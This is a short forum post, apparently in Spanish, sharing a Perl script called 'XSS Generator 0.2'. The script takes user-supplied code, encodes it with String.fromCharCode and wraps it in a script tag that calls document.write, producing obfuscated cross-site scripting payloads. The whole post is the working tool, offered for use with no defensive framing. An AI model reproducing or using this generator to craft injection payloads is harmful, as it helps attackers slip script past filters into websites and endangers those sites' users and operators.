Cortisimo pero util script xDD.

#!usr/bin/perl
#XSS Generator 0.2
#Coded By Doddy H
 
head();
 
print "\n[+] Enter the code : ";
$code = <STDIN>;
chomp $code;
if ( $code ne "" ) {
    print "\n\n[XSS] : <script>var code =String.fromCharCode("
      . encode($code)
      . "); document.write(code);</script>\n";
}
 
copyright();
 
sub head {
    print "\n\n-- == XSS Generator 0.2 == --\n\n";
}
 
sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n";
    <stdin>;
    exit(1);
}
 
sub encode {
    return join ',', unpack "U*", $_[0];
}
 
#The End ?